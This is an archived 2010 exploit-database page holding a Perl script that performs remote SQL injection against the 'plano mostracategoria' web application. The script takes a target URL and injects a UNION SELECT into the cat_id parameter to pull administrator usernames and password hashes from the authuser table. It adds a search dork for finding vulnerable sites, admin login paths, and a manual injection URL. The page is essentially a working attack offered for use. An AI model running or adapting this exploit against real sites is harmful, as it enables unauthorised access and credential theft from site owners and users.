[webapps / 0day] - plano mostracategoria (id) Remote SQL Inj
Posted on 14 September 2010
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>plano mostracategoria (id) Remote SQL Injection Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: kalashnikov' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>============================================================= plano mostracategoria (id) Remote SQL Injection Vulnerability ============================================================= # Author: [kalashnikov] # Software Link: [download link if available] / 404 # Tested on: [bk4 r1] #!/usr/bin/perl -w # plano mostracategoria (id) Remote SQL Injection Vulnerability # Author : kalashnikov # Site : http://kalashnikov-team.com + http://vbspiders.com # Group : KaLa$nikoV t34m # Date : {13-9-2010} # Software : plano_mostracategoria # Greetz : Madjix,ViRuS_HaCkErS,his0k4,el$b7 elmr7,sec4ever,red virus,hassan81,claw,RiSkY,data$hack,Cr3W-Dz,Antivirus7,El3ctr0-dz # team : VoLc4n0 --=-- stone love --=-- fla$h print "|----------------------------------------------------| "; print "| plano mostracategoria Remote SQL Injector | "; print "| | "; print "| Coded by : kalashnikov | "; print "| Dork : inurl:plano_mostracategoria | "; print "| | "; print "| admin cp : /login.php or /vadmin | "; print "| | "; print "| kalashnikov team | "; print "|----------------------------------------------------| "; use LWP::UserAgent; print " Masukin Target:[http://wwww.target.com/path/]: "; chomp(my $target=<STDIN>); #Nama Column $concatenation="concat(uname,char(58),passwd)volc4n0"; #Nama Table $table="authuser"; $injection="-7+union+select+"; $b = LWP::UserAgent->new() or die "Could not initialize browser "; $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $host = $target . "plano_index.php?paginas=plano_mostracategoria&cat_id=".$injection."+".$concatenation.",1,2,3,4,5,6,7+from/**/".$table."+--+"; $res = $b->request(HTTP::Request->new(GET=>$host)); $answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){ print " [+] Admin Hash : $1 "; print "[+] Success !! Check target for details... "; print " "; print "Attention: "; print "VoLc4n0 Palestine hacker -- Jenin "; print " !! "; print " "; } else{print " [-] wah gagal bro (Belom Cebok tangan lo)... "; print " "; print " "; print "localhost/plano_index.php?paginas=plano_mostracategoria&cat_id=-7+union+select+@@version,2,3,4,5,6,7,8-- "; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-14]</pre></body></html>
